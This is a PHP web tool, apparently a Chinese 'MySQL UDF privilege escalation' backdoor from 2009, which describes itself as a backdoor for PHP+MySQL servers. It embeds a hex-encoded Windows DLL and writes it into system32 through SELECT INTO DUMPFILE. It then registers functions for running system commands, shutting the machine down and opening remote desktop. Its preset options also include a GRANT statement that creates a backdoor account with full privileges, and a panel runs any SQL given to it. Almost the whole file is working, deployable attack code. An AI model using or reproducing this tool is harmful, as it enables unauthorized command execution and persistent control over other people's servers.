<?
//Mysql UDF 提权工具
//modified 
//QQ：XXOO
//blog：http://hi.baidu.com/by_boby
//2009-12-4
/*
<!--
Mysql UDF 提权工具
Mysql UDF 提权工具是一款针对PHP+Mysql服务器开发的后门,该后门安装后为Mysql增加一个可以执行系统命令的"cmdshell"函数,并且可以根据需要自定义函数其它函数
用法
将该php文件传到PHP服务器上,点击"自动安装Mysql BackDoor",
……

-->
*/
error_reporting(0);
extract($_POST);
extract($_GET);
$action="mysql";
$mysql_hostname=$mysql_hostname?$mysql_hostname:"127.0.0.1";
$mysql_username=$mysql_username?$mysql_username:"root";
$post_sql=$post_sql?$post_sql:"select cmdshell(\"net user\")";
$mysql_dbname=$mysql_dbname?$mysql_dbname:"mysql";
$_SESSION['password']=$mysql_passwd;
if($install){			
	$link = mysql_connect ($mysql_hostname,$mysql_username,$_SESSION['password']) or die(mysql_error());
	mysql_select_db($mysql_dbname,$link) ;	
	@mysql_query("DROP TABLE udf_temp", $link);
	$query="CREATE TABLE udf_temp (udf BLOB);";
	if(!($result=mysql_query($query, $link)))
		die('错误:创建临时表udf_temp出错。'.mysql_error());
	else
	{
		$code=get_code();
		$query="INSERT into udf_temp values (CONVERT($code,CHAR));";
		if(!mysql_query($query, $link))
		{
			mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
			die('错误:插入DLL数据出错。'.mysql_error());
		}
		else
		{
			$dllname="mysqlDll.dll";
			if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll";
			elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll"; 
			
			if(file_exists($dir)) {
				$time=time();
				$dir=str_replace("mysqlDll","mysqlDll_$time",$dir);
				$dllname=str_replace("mysqlDll","mysqlDll_$time",$dllname);
			}

			$query="SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ;
			//echo $query;
			if(!mysql_query($query, $link))
			{
				//mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
				die("导出DLL文件出错：可能无权限或者 $dir 已经存在。".mysql_error());
			}
			else
			{
				echo 'DLL已成功的导出到'.$dir.'<br>';
			}
		}
		mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
		$result_cmdshell=mysql_query("Create Function cmdshell returns string soname '$dllname' ", $link) ;
		if($result_cmdshell) {
			echo "cmdshell 自定义函数创建完成，";	
		}else{
			echo mysql_error();
		}
		$result_shut=mysql_query("Create Function shut returns string soname '$dllname'", $link);
		if($result_shut) {
			echo "shut 自定义函数创建完成，";
			
		}else{
			echo mysql_error();
		}
		$result_open3389=mysql_query("Create Function open3389 returns string soname '$dllname'", $link);
		if($result_open3389) {
			echo "open3389 自定义函数创建完成，";			
		}else{
			echo mysql_error();
		}
		$result_read3389=mysql_query("Create Function read3389 returns string soname '$dllname'", $link);
		if($result_read3389) {
			echo "read3389 自定义函数创建完成，";			
		}else{
			echo mysql_error();
		}

	//	$result_backshell=mysql_query("Create Function backshell returns string soname '$dllname'", $link) or die(mysql_error());			暂时还不提供此功能			
		echo "MysqlDoor安装成功！<br><a href='?'>返回</a>";
	}

}

?>
<SCRIPT LANGUAGE="JavaScript">
function changeocure(s){
	var sql = document.getElementById("sql");
	sql.value = s;
}
</SCRIPT>
<meta http-equiv="content-type" content="text/html;charset=gb2312">
<title>UDF提权工具(免杀版)</title>
<form method="post" action="<?echo $HTTP_SERVER_VARS['php_self'];?>?">  
Host: <input name="mysql_hostname" value="<?echo $mysql_hostname;?>" type="text"  class="input" size="15" >

 User: <input name="mysql_username" value="<?echo $mysql_username;?>" type="text"  class="input" size="10" >
 Password: <input type="password" name="mysql_passwd" value="<?echo $_SESSION['password'];?>" class="input" size="10" >
 DB: <input name="mysql_dbname" value="<?echo $mysql_dbname;?>" type="text"  class="input" size="10" >
 &nbsp;&nbsp;<input name="install" type="submit" value="自动安装Mysql BackDoor">
 <br>
<br>

<table border="0">
<tr>
<td>
请输入SQL命令：
<select name="create_function" onchange="changeocure(this.options[this.options.selectedIndex].value)">
<option value="select cmdshell('net user');">cmdshell</option>
<option value="select shut('logoff|shutdown|reboot');" >shutdown</option>
<option value="select open3389(port);">open3389</option>
<option value="select read3389();">read3389</option>
<option value="drop function if exists `cmdshell`;">删除cmdshell自定义函数</option>
<option value="drop function if exists `shut`;">删除shut自定义函数</option>
<option value="drop function if exists `open3389`;">删除open3389自定义函数</option>
<option value="drop function if exists `read3389`;">删除read3389自定义函数</option>
<option value='GRANT ALL PRIVILEGES ON *.* TO 用户名@"%" identified by "密码";'>添加root权限后门帐户</option>
</select><input type="submit" name="显示" value="提交执行">
 <br><textarea name="post_sql" id="sql" cols="50" rows="8"><?echo stripslashes($post_sql);?>
</textarea> 
   
</td>
</form>
<?
if ($_POST[post_sql]) {

$link = mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or die(mysql_error());

if($mysql_dbname) mysql_select_db($mysql_dbname,$link) or die(mysql_error());

$query=stripslashes($post_sql);

$result = mysql_query($query, $link)  or die(mysql_error());

?>
<td>
<textarea name="post_sql" cols="80" rows="15">

<?
echo ($result) ? "SQL语句成功执行:$result\n\n" : "出错:$result\n\n ".mysql_error();

while ($row =  @mysql_fetch_array ($result)) {
	echo $row[0];
	//print_r ($row);
}
//mysql_free_result($result);
}
?>    
</textarea>
</td>
</tr>
</table>
<?
function get_code() {
return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000DA17F1519E769F029E769F029E769F0209B2E1029C769F02B9B0E2028E769F02B9B0F202C1769F025D79C20299769F029E769E02FB769F02B9B0F102BE769F02B9B0E5029F769F02B9B0E3029F769F02B9B0E7029F769F02526963689E769F0200000000000000000000000000000000504500004C010700C7498F4B0000000000000000E00002210B01080000A000000060000000000000013001000010000000B0000000000010001000000002000004000000000000000400000000000000006001000006000005DD01000200000000001000001000000000100000100000000000001000000050D300002A010000AC3F0100A400000000100100B000000000000000000000000000000000000000543F010008000000A0B100001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010002E7465787400000000A00000001000000054000000060000000000000000000000000000400000C02E726461746100000030000000B0000000300000005A0000000000000000000000000000400000C02E646174610000000030000000E0000000040000008A0000000000000000000000000000400000C02E72737263000000001000000010010000020000008E0000000000000000000000000000400000C02E72656C6F63000000100000002001000008000000900000000000000000000000000000400000C02E61737061636B0000200000003001000012000000980000000000000000000000000000400000C02E6164617461000000100000005001000000000000AA0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002803BC321911AA0033C79933CC93C92643300902227A4120D1B12D061148E10204F420841C842486212439DA238E236947CF147AC810EF9236793C314DDD6F75BCAEDA9B1BBD2ED7BDE95AB696A55C8419004A3046ACA875B2B4B483855820C20919E6664520DEF7B68DEF36F2D779BCE1BF98DFCB217777906DEF39906DDB01BB5C816AC82EDDCC054C8DBBAF248D4E416F6F2056BC82F5BC902AF242DEDE641EEDE42EF76F246FA7246F79DE64069C83776F242F75E56FFFFFFBFBF3D3EFDFBE7DFBFDE99E79F867E9F3DFE610901F1995A584211687B7308232E33F4C017C3150317FEE1DA5278167080400EF479FD05FB298B568EF02042246C78719E587111E1BC7E41861236701F93618342E2E43E158723D70B682435D184B967A65271D8F6B045B2811D58516FE10F5337C7F2898F7085295C1D2DE1C27A3C59E6A9A3A6C9CAA875E532E353242F30E0D2B478E7908A7881C87C6C248E24F389121C75CBFA710EBD808D0609F1738EF88641FE6E3A49261AB81B798FEF6D812656F3D5C1008B55080E2EF716903B7F33E2F3C68392C7B32547B5C824D43248F933B6C01F02EE2F30C5861E0BBA99DBC92ED09803B6E2EB0DD0A52216804D8BC6A3D06355791BCCB14D00EB3A51CC3A3A1BFEC0C7CD4928B0243E6FE4919DF29887EC9AB65BD72345F784F2DC9251D27B5C59E41774D63687FEFBBB8D57D57A30E349D6961DE53C8E006535614A736B733D0AB19E3B6E615D6E3B7190B7033FED192C593B05950D990B3B7CA2A235E2AEF028F7803AF8190265A7AE217AC53351BC7864D0DD569082F50E23B9C5A4F4BCB7486B22133213DDE0009405EEE03E18DB6729D94E45675F79E75E230EBF335B01E1AA51BC8A446A60335154EDBC0F04F849ED5857E242E1B5A07A71E40C9BFD83A2552F254312C994832600EA18BA6EC424D78217ACB2A11C00E301C98D33E372917894CC281B055B360F5E5C5CD101F06941BD2267450C76DF766EEFC0392DCD82E092926E32DF2A6A566944E056001AB2853B95FB7057DAAE27CF305E622CB7AE6FBBFAE4BCD9F71B7EAC2DC84FD68E5DB53E4EEFA629E51124728F925F0583BEAF5B8BEC59E3FBE9BC468D77EEBD1E4E60F7892EF6B55D428F7B1EF33DD97C89A2189E8C0F7FD94ABABA39DCD8F1698FCBAD817EC3CF623FFDF3C410F24D9409EB12E259E7F8279A73249C84499B011595583B7F7A3FADC4BFDF076A2A22BA69CEDB3FCA93534582F65D6485FBC1FFD433031403A8C4B46BB82329B6AC3E7CC85E70FE6739740D2958C9C00DDA002C046BEB93B3ADBAA1372B4BC0C98B62239F94F5647665DD7D804ECC9B6E46C8BDC50DC08E81E8F0F5A5FD1D2CF5D0CA9D309D64C918ED344A0D82E1AAB78BE6D3EADC813D1A5019CDE77E226771887BCCDC339A62CEE7339F0FCC8729D677D36A0FA95E2394FACE876CFEBFBAFA4386955B8DF273C1A33595D9080E8E170E5F5EFB9261FB805E3424F361B98CAD229F677FD772E7F3077790E6FE391D55A857F05965ACB6714A447502F1C085CA28F82C267C067C367A77A97C18B090CCE54AE1832A22EB8CC8B09BBC47BA117DBBC27137D8574D79C12BDF70CBC1CEE06C1E5500B0054C8CAF2F1CC647EB3DFFF59370DECBB6A02A3ABF8724BFA82618B57744E3D603F1680E2ECC2C1406E2CF52DEFFECD574568CE169D1DD8BD3010BD60C1F8005662C49A63F0983C7F0923AFA19BEE5A44BBCB22E4B63DB80F86EC19B979265295B81B024C3390332EC96BA80086786526FF78B9DD1A9BFF6E912DE55A2C1EF896C8CD3D6128B594507CAC62D5F1207729D74370523E67ED04940AC6135F78FD9FECA2C3F2B9BED40A2260DA3EC23785EB5BB373C38FA8708AFD84E4FB8AE5EC7C5F01B57F5D5EFF36B43F02460DE0FEAFFC79D090F913D160D8F3CBE5AAC1F048B01195E4678AC1D63AFD83E77B2E47DD8CF7B61876DD708B81BB97785FBF28A391DEF117DBC2410275633DD9F9A505912FC633B766103EDF159F98AE43B395523B591B42E4F69607F701F282E5181BD8F1ECAE6A0D5A519E5AB2037F5F02055B67A071ACCD1E5D171041F6D1DA8230FE1E41C466A85CF610EB51732DE408A3F1C99816AC891F1AFA8DCA5ABB77C254E7A3086DC88F0D7B581D29BDAF9FD3537C85642C01A343C03A5CF12FE70A9B845092F421B7A10071027A870C4159AB2B648B9311A0E032078FAE25D17818901C639A9B0201941E5BD719995668F269442262A5319CF4EB481DF22009BE1098E7D6B4F87AB681FDC4E004325D286752178CEC7F2ADE0423C37E6023FEEA4032B9A471762025900311D628C64659430C857AEE2376D5D1FEFBD045EAC05D34D2C487B9477E04CDABC30842F55085BD47AD028AC9AD5C652AE2E4C70ECB2EB0FD508BE972D96300E56D1BEBFD1806C8D73B5BB0CC3781D68616209095231D2A98DF347C9B19E67327EB69293116DC24C5448C401A12AE940490845AC5812C2E4A19C9C7EBDF8E1E1A8532DDD94A2FE5D4884ABA86B926B7F50B7A3D9CBF1F58D7051ACBFF15D75E31CDFFE8A1AECBC0805654D51490061728B8D115B2CFF9329FC4947173722568BCB7AE743E0D293E50781E666B5FBA90148F6F552159B22B448B801944BEB2C60390F9917A906F563CC7BAA187432AC58D7B58A13585C992F2A3D84089BF6812E87142F464E864E0D5F2DEC13ED6BE8D7488A506EAFF396F394EDD4239CC966F71722CF5579F5756AED334F99E3A56E729AD78E5231D6E4F03F58633D932957A900E2359E405D7C4FD361E22DC8C6C438FF443B5A5DBE15A13C91F43099746048226FD9222FAA657DAC7D4A4AB77EE70078949B6C4BEE121B4833D827EE8C2278D384865E3D1F1F70FD8465CC468066C2C34E235C6B5ADE459E786D811E1F7C8F022D23FF8A40E4CA08566B585695393BA217D609ADE9163AD003EB674DA7DDD77D42EEB123F6400FE2F3B58B421766041FC166D0757389C1FC961EF0330994699364D55DA921B9D9A48B12C6418811191959B488B719979CA35CEC64932F2AD88512CDBFD180CAEF1C715DB9FD444BB47CE4C5C24D82BCA466D755B38709474F6CB3A6063306A60CF5E9DB36CB79F7A8592DD9896B17D2E1A220A765AAEE53A307EC9D6A9DB4C2C2DBC1206573EBEE3E57866BC0D672FD61CA52FBE24737A2EAA4074706CEBBB066C7CC8FD38EE6168FCF7643C9332AF78043CF35359A79F4C43065058A5613D16059E81F929A0903791052613E014B5FBE863E675A936E3FED3202FCDBE9F2A411A5A8A24230CD0D6072528D738FD367BDC1777557D14985E1FBC6931377EEE526E4EBBF5561D4F57E05FF906A9041FAD6732943442C996E520BB54C957F1F8185FA44C67BC9138AECC2112D78EC7A53203610689C29E5F48EB752924993339E4E238856661E29B40D85415C17EF4EFAFDEA459D694B795605399C994FF2970304CE1AE7FD2EEC84FFBD53D2C1120EAD822E33A0259E5EA8A72B7842C2450D5219AF50F8E7A692E56BBFAF2A4A3D48B0CE71226F2989BFDBA8EC46099D457FA6674022E102479CADB760EAB12AAFF0C726AEF9892A0893926F3C219D401ECE75B092802842FB1445B0C6686B7837CAD3919EDF31BBF512F73AC27DB545982525B427F123B6A3B32407BAE7F141D5877E1612B9C21EB00F8D7EEA4A1307D4C22C922E7CA612F736DF0ECE0B006BA7159BDBE669F4ED0057B0C99EA63F2595F94C3E3684F611FAB2983B91D6A0BBDA8B2BBC486B3E1283E1502FEBF3F6675B9BA627665752161F2B00D654013D2493EEDBD8034C0ED9789815B0DCC003D48C2E60F280170EA83AE62CFCD706CBC893B2D5672A019A91A982905D268FD5A546ED890480A19409434621D9EF2AC22E8A815A50A48FAD0E127E3383A4F00E98604087B495670D5C5E2420036122D80DED6C7A9BDAB1048B7B33C7CA96E60F3719FEE964C5821359577F215E7E0EE23C31FAA8EDA5DF1A8221B662EABD4D059C84EA772A05F724E8E6FF0F6B4D96F9181FDD076416FA9BE27A298B4A92573F617C2645B94F079CEDDDA24E04AAEC0D05B2FA110BC81C1DA3B3737389D98E74B9A881DE4D8429BB7BF652F7B7065F9A19EB2F3F7D7A036A673FD00C6AE2C70EE43FB72BA108E582A2BF9B79019AA08677E7861395CF61501E4108830E8306830AA0FEA4B80CA2410961FA9F71F8FF8C6B71FCA363C3BE0800E8436E485BADE7AAD8712F6EB41618287672ACE59EB92A4BEF642F326CD07BD9099BF344520B066E367E882876C8F53895D94D8B0935734698E1FC80B6C37D4D31276664C755FC2AF083764263A22CF3588D9F2AAC78979E74613179EC1A0E4DEDC32520BA65802681BBE2C019CF085AFFEF23C3E61B7960B35CB88A996E630C5BD9BC4F97D37CB27C039F319E49DE5FAEB45F62C3F440268C3F0CD57F2DEA38A9382185E9918A475B61084DD7BD7623DAED70A872653DCD6004F21615803B3E7E4C3B0A0083AE363607548F059EB7D4E392C4974B5A0C1CD928BBF2028CCBA07FCFAB45BC753E84460160419ABE3DF624C45238F163B955703522CC399ED2BCD2D3DC21E5A51CC51D69094C77E679B05D50256A3221107F1A1D60FDD061231FD39B606D79F9B0ECA82F01AF20E20B3D7132512F47A4ACF56F062F021768D1411875B73BFF4BFFCB608B7C2766DEC4ABBC7144AC8254DA3B71E4B8E8C16663ECEEF517C0C2917DA01BFC2BB16795794AD9B8347451443E99043A211074A8AF683DFA2B920E8904C697F3AD5C8192DECF0C6761F30468034F479F1AB24683DD076D823A262E79CA55168793D3814F386937ED13FB6214428DF1B7A9D774A87E34485BD07B09D070F801616D21979AA4CFD8024059EB7F068F5EC33040B53DD242336DB31BB3B2890875CF29849EB3509C80CD5C7963B0322295E1260F9447B0AB8177CC3542D882104D68FF634205DE3E6B584586AD4AB108A758214F6B45F2CD3FD28970BC58A8CC81679E55555D3114205815D5227505C80F9EA81614945E037400585992CCB2A1CAD6E6C4FD1D5D93AE5B3F59275AA720FD016F696B89326E5AF3AD594339F41CEF772C69061F6970AB26BE0D11F5C7C4B0F6949218341A6C94B2867B7403AC2789880D437D10ED91C63135351F0022DCC80336E403A9FAA62C363623561EF6C8268F7C9B025FBEF6525CDB9006B45A6775E50717AEFA1C5F025AFE7D5B41F045B8CE454C7739C186A747E943AE67FE98B3D739A3D0EA20F12AD05AF496CD6C2564CA3ECE3EF9B1F6487D826FD1133EE49E976767566EE3B562EEF4297148D91B31277CEE1B616ACE9DAB48478E6EEF5892C33448798987720534676EF10BE0095278EA78212D735435C6ECECA8FBE139D38BF3BC2526997CB08E247500E64B67626C6594F3E3864A8CBEE4C35A98BC6138F1E0CFAC26069BD8E1F5B042CEBC0F6B89463CCE609023DCDC36761257FD0FC79D90EDE8E6483CA7E63008EEF0A2E1EB37EC93C6B35AC4DB888BDA7C6F4B1918C468D3C3BE4B8213749B29ED4612324C58445BD6B36340D13758DF9329FC7569CA9999B34FB953F5D1617862CF379EAB607AF3EF6680ECD95C06C33F95F4083ED7E2E8529E250BE48205BA01AB11627B6AC4C83C3AB6BAE34CE79BF52BD4E5245668D43BF3006BD9FB3CE1C2B96E66D7127C19C89F547CBC7F991A1938E5598F9D9118F41AF98E7EFABAED36CFC354B31062F3A0663A196DE1506C1AF003F423C4092418F15DE1007759F18D54C5E061731B286F1918F02B6FE2032070E01DE5A776A7DF2436C23D1EBEABE9206C29141FAAB8196F72A1D0F800057EB10B996519CF8F4DE5024C126DBCABDD4ADE7F1675EB4F8C500D7F53AAC9B14064C8076E4C7A0A0E31E196C41DA5357203E7B004AC4CE7F7AB65DE3E2BB3B398C60997626AC863620FD73656C5E301F58B63C5968DC2D2AF50853CC577C1AA5E19A9C85505A199EBF77F5E0124C899AD613F54C17CB188F8582560D6D0B04CE725A5E733CC4E7079EE1E68A1512A7413D3AD58B6F394662EFD53A267923C38EEFA2C75B71083D2A091A08D4D074682216724B962D1EED7C577C2CA7E0C36E7A3D7C6D1C4D9B17DA2B90DBC79938AE75EB29292522AC035996BFC0458257195240EB0A1380EF0C774ADFD099BC7806847E3F5515B71641F5C993A6644FB3A6B6992769710344C1191C9801D0E0FC9FE9123C0A4068773C23E13793CF6D5929A5ADB7F1DDF9E7C82C994AB5540FC9C3D5BCBD10CF5F206C15403F341AF3BD839DA2529D5D18FDC5CF6DCEB9ADC10DC4BF9DB65076002F77AF67D7E4304856A3D553ADB621B4D7D05157AFB72A346BCA692E5D522B0138C5C95132E8D7B9E3A3AF3A03D4BC227376184BD8CEE1DDEFFEA7918F48D3BC745B9DE73E6ABC20E04DA0E16EDC871AF5C7EBE2F2DC9CFE1DEB40267720876770CF06E5B01A5167893866415FD0A90AAA75DB83F5D8B42FEA9DC4CB7818EA98479EA084A4BCF10BC1D2F61DA97CBCA13A9628F65BC6D8CB95A37B4238AC98983E000346F4EFB714E8DA11CEEB1363F70E9E12BC12B21A2C388649911B32252136193732213BB439E4CA701BA81AD58C789300FB85F84A2F2AD22E66C2ED953AD9F011D53E20A9C5CB93F8F216B285FCA3491F18E548D18C46EA7ABCFC29E09542CF5AC948FAABE11E3DE489FCE9AF3D5957F5356C42A4A34BAD860A9527CD8DC36D8ADD89D36A2D9B9C4EB544B1C3D080B139EC4485396197B971C7AF85959E8AF44AB11330B03DA668AEF12ACE822DA3620A5E8A51E36A99B13B967F1C53558A601A5B8E3C6C02FE6A0D76D74F7DA540822A4632B8E66B349BB3ED2A4E1184DC713C0F89AE796E3AF7E86357B422D7FB1803F8A9413FB831FC0FD0E16E2A95B1942E4C6432D8418FB7CB1B88EC8146E2C017374A451C08E1E25319E1091BDB87E850121D76D6619B4E4EDD0BA1117DA0CEB73EF5EC6B0A2737FA562FCCDD7428B66EA38E99BC484AD9D07A8C06841ACA6F912D4375D8858154CBF9DE025BF341956B162985DB9DDA8477F15874D93AE07F2B2B9BCA171E63451C87B3BD101D545BE024835C7251E72FBB81BBCEF6C0057E8AC1F46955DB21A6C751D5E962D7C11099941DB12F7EE973D7C91E8D70B27349765BB7B42E74B0B99F37473F8CEF915550AB5AC476FC5EC2A8A476C92F7B2D6FAE813FE94E2FFE1CBC8488319A10B6DE1BF9F6E38B5B68ED47CE49109BCEB85B96B43A76CDC4D5FC148D7D38D972644FAD8D673EB1F3EEDCD22E36B9B752896BABFAED389DF05B16CE009559B88F735B453B255340FDBCA0237B217AFF31AD1CBA6D9D4A976E6AADC762E7358B3849FE960C8B5FC1C34D0C46CD7FCE3E978D18CF0CB856368128BBD6ED338CE975734A581D3DF09895D27883F54543F41623255544B4C1CE2C8A7974C3F5EBA492EDB69E2E3B6843DA4BD2911721E298B892A2C044BF74C587E7383C4833EA6BF9269254412C30F52B643BF1247C4967AC75254476B3631EAA33865C7718946440F9D87C325055B9C37EEA41DF85EA6D1C3933968E007B68262DA1096A4898397DC5CDE1B741F158E3E76DCAC0E631D5DBA611A629644AF4A875DDD0FD64EEFD09DA09C86130F261A3EAE88D023A6D0EDE10F7347B6C4936DCB8DC0207049234B804348295587C6F7B18738817DECA9F972CF5C6F5AC424447C7ECD03214610ADB5D0C745C3AB0FD1265447710639F4E38F9CF98E843745034DAF4E098F4E108605CD307312FB55C7E6F1DD2E639FAE872B95B89822576597B19FAC1DB6C2766B9597C3497BEC930B528CEDB01543B7B9A4741200A6739F26A9C38AEF97015702E87CC3C4DB0C74AE347340C8A52A2F930B7C68121309209757C992EF6DA5A29FA6643DE86E1ABEF0EE5A869F1F15AEAD8E3F29759DD3E55AEC0D38469595F3FBC699CBCCD9ED9428347AF6D17D21D7997E965557589195C669B144A3E18808B3D65B4630338DF45A741CB46B8BF36A23B24FA38D80CE91BF7BC2C4DB0AF2F3EA86F6E239FFA25DBAF75E5932176447672FF3F8BC93DA87FC7FA0229B1A3E5AD85DE389680045916EA0C576505BD84409C0B7CE86DE4AA6EF656382FFAA437EC79F49BE08EBD39E0C5883B6EA9E51B8EB62ED29E0F577302760A8910D369829A5EE1C117850977643DB2429147DC1ED72CCB4B737554AF7033C98A71726F3F9D54E8AC829E5073CBA67C9B7B977E4F1C85560E05493EF62FDD82EE21F764FB0E83B723787B4CEEC85183B7819ACB870270136030533219E987290980EB0A89542387FFC27CCEA3EAC5B7A620D671AF80905250BD71715231E01D7FBA13B2C509529BF4F2BB63CF932679A156E6CC8EFFC19ED9633CD8914E803544700333859E834175DF84CB9C047CD7E1723F648B13E24AED0F1DF9AA60C16D51092AFA617F9C0BCD1D0BD48CE113C4340F8A62E71FB2654EDACBDA456C882057BCA6D08A7701131A8C5E36E98822059E261B444C8302F10B1BF6394EF156C139B1DC26DA620A51326777F2A3360235A423BBF46E120045BB7AC69D9FD30BEB270C1F1ADA1F31114FCF27A695BDDBDA153ACBD83B0639D93E9331CED769C255FE9776792CC2BD5CC891100EEE90F40C4DCA5A1577EE91062A32B2E3EFF122FBF86B618CA9D7665891EB89217A00616E31C24421DFE9B48B546E4FDD18CB16E34C12F344FBF6641B60B99B425B88E1D5CE5A0D46C3BA8261D4211A2407F6B7AB13CCD1076DC4B66DFC022DDFABAE0AFD09DA3FC8603F0538B7F093C06D079EDF421B8909548862C612519A129402DC67AE9E878E14935F88077F148B426558E267DDAEA832E76B39A405C7B9EA448F46676DB9C8E918121309088E4F96E585244AAA1210AC20ACA0AAA2E72319D69C034A487D83B3C5CEEFFF82876F32FBE8CFF673541ACCC9C929DEA246516B712893E4E3E1D6B2435A92349E232653F93D001B845D088D2C77D1EB653995DE13F2DE952DB2537463899A58FD140DBC58AB4500F126F01574876A899A07B38D8913F487B37327CC6FFB427C5460C6210D5FED72A97C336F8B57F0B7FC3F3E2711B3B5F1014753F6E95309D1491DFA5FD1245973A572A3F13AD9A3715AEC56D050FE16C6BACABFF6E6E290ABF5BFCF8CE662FA644CBFCB8C44590CAB9DA2FC4FC5D19F85B860A31319A57E27CA61BC7E15DC0CF7EC9BA9479329E5456FD5717DE43506766E79BED93712E2E4EEB62E308C774A2A0A36126DDC5C510C70E9ADB4D1AE6CDE9EE8FD4C76F047315E492BD14B7D008B42BFAE988319CC2BD42A344BE8F5AD46FB6CB7BA8BCE89733E545E28203B311FA4A2F50D27963EB167E7EFA699CEB57A14A19AF003C1BD63E3E7E9880FFE877086C061A1682DA5E9BA5B41716CA407EF86AD4BCED19EA45D490A4E41AE8F7FD7221DDB00D35E6D964B9C1378DC2B01FECB96C691D97BFAAA4435448FFE4DCB523F027F24A4D9F7F1F56E4CA6322BD8C12A9DD6D3DCE303AA99B626D6F5894322B71CC823AD31509E995F1E7D2B5F27048C660B3C929CC9DF8131BF0425D05236316EFBB8FCE209E0D76B2CDBA0CE794AF5D1EDA46EC1145846390594A0FAD756CFEF33A7DF466FFF861FDC0577744AF26822DF5B23B5DB683F902588945249FBA08DC48329347CF864B3C9DEBBC8335BF209136E431A05F59A74D8CD2DC6077AF205B40B7B07B1F199C5931E42A58959767B693FBC699573C7A1916E28196B70AF7FECE622FA559DF14B25EB121AD8CB435BAA73DEAA61824313C6CEEC68AEF53BAF971EA4950EF129159C4AC18AD6D2C933C5338C7940608B1F92CC8F830476D40EC39717F18DD88C480BB10C807EB60D2E35E33E3A858A129B4C797C158E8DF0E6902AC7B9CA12DFF270940D83AD50D767DD3D3FA6BC7032E7629A754FB1FDF39B779C54C975BC7BA30B038388FC304C6C9A89B90EAF4C22A0143EAA05429C6D6797145C35CA15F09F38C656CBE5E2F1D95A64E9F3924B960A6673772CF55C9C0EE10A8BD54550F47623B4EC90334F608E98066F890DD0EB4F0B4760F16BB323AE9C5971C9E8FAED32D6E81323A875A302BBCC927669BEDB87D1A952478513DC3C3B24D4CAD65D9D5FE495FA881EA3B29FE5BFD66C7E02A0A7AFCCBE9386E16104F422B3014816875D37A0A49FDC5D7F5C4487B8A2160384A9E5C348D260A4E29A50D7EEBA8BEF2CA6CA875537F650FB91D5245B47CF522EBA33615D5EEF38C5EFBD5D01F7A0C9942B293E28AC516793334A7BAA737EDB5EDB5374A7CFB10148E979B6A3CB750864C1F47B60F1F9DDF220A85C57F378BE5A890EE4106D7559BC2F2DB5185C7FCC4AFA8025B7FEE4FEFA8D59EC9AF7232238B3817E77A9FD1FFDECE6E1F3ADF974B2B4A020013097C2BD74CE9A351BD0BA05A84FDA9CE61C89637AB2B7A3EE9E5B0D4CE40C633FC4F25C7AFF87272AD724B581A80C831001F423124D093969EAE0233B32B269E83C78EB9B90F10B4FC2B3446E47DAB06D1DE2C3DA8C75BF062D16A3A8EFEE401B78F6343CD9BEC2A9ABD87CBF244B8B8B91BB1B768A377EE01CC5D7478780E66EDEC68A6735C316F0D82CC5EB2AA171289D5D03DD4DC4F7ADA569DBB55B3E50FD20633D49CE5D737F6AECFE418E1DAD959223581F0833265D0BE3517FF4C346DB8A7A25AC86486CEF8B647888EF299B35B9478203AB0BC2E4416577C8DE9728F4C1E5381F4A4411FE90DE02572C23CF80D6F480D1BE3F44B8EEB3FC170B60F46AA401750BB00D2E3F8DBA9D2CE94104B41A510C2FA0DFFFBFB0A718851FA801BF4DE8809C6B4863E81FCFB55085A574868DBF7AC6046984E01119DD513F5D917B48BFE1FDCECD5A517211D1BB55A25A5E4D8D3A185F67351D1FDBA7CFC5694C7D18B159EAB091FC357B58A455DDB2BD84B0BC42927381C274DE1F825496C95390AD8E3E7CC7B506EB82B35C68C152520D7D0DFB3513B5F1768D0C6EF7CBC82E5D749D1B1FEDC0CAC734E8E27782D607253B7A5E66C1931E6374916A73B380295AE9D1F357B93FC7F96EE6EEA9D46F354B38F54885BCCAD9DD99C7CD38CCE2C4598D70F65F978BD2982700709FB55DCBA715D139D8B1148C374377D39272D4D8E1F57049F5648CDDCA469BE56DE0EEF19A1164EAB0BD1F6DD10D97602401BB172FE067CDDD911F633997217B05491242D3AEFD7C5EA880E9E6CB7335C77B9991BDFE950C6695ABAF7254A9CA805469FFC35F435EF0D79AE7582558DEB7A7989EBFA4EB765C6FBACF1FC86446EDD5352DE4A6BB141A57FFB62E9B6CA2FB60EA2A135987402F3022AD5651322FA2665D4377BFAF33FC9572C9175A2F1650AC5D7C28BB0828790E34A59508ED49B3BCFC9817DB1213B477059B449EA12268D96297B957E973360749D2E478499810AC8201E8E1874C1E66EB19EA0E4D7020FCA720876D995F6F350DEC4B6D820E01B6CE06F8E9A09B6CE22B3694D50DCED58DA6F6DEB397E4B3C11A8CD0770A90D3C9AC5DCB74C78F85FE387180482FAB1D82D65FE45811589133A2328AEA8AF277997802925382A446BDF39F98B3F5196A0BD50F10C7D4B17522E48B6817A204B351AA23E345E8EFAA95918C5075462C54E51729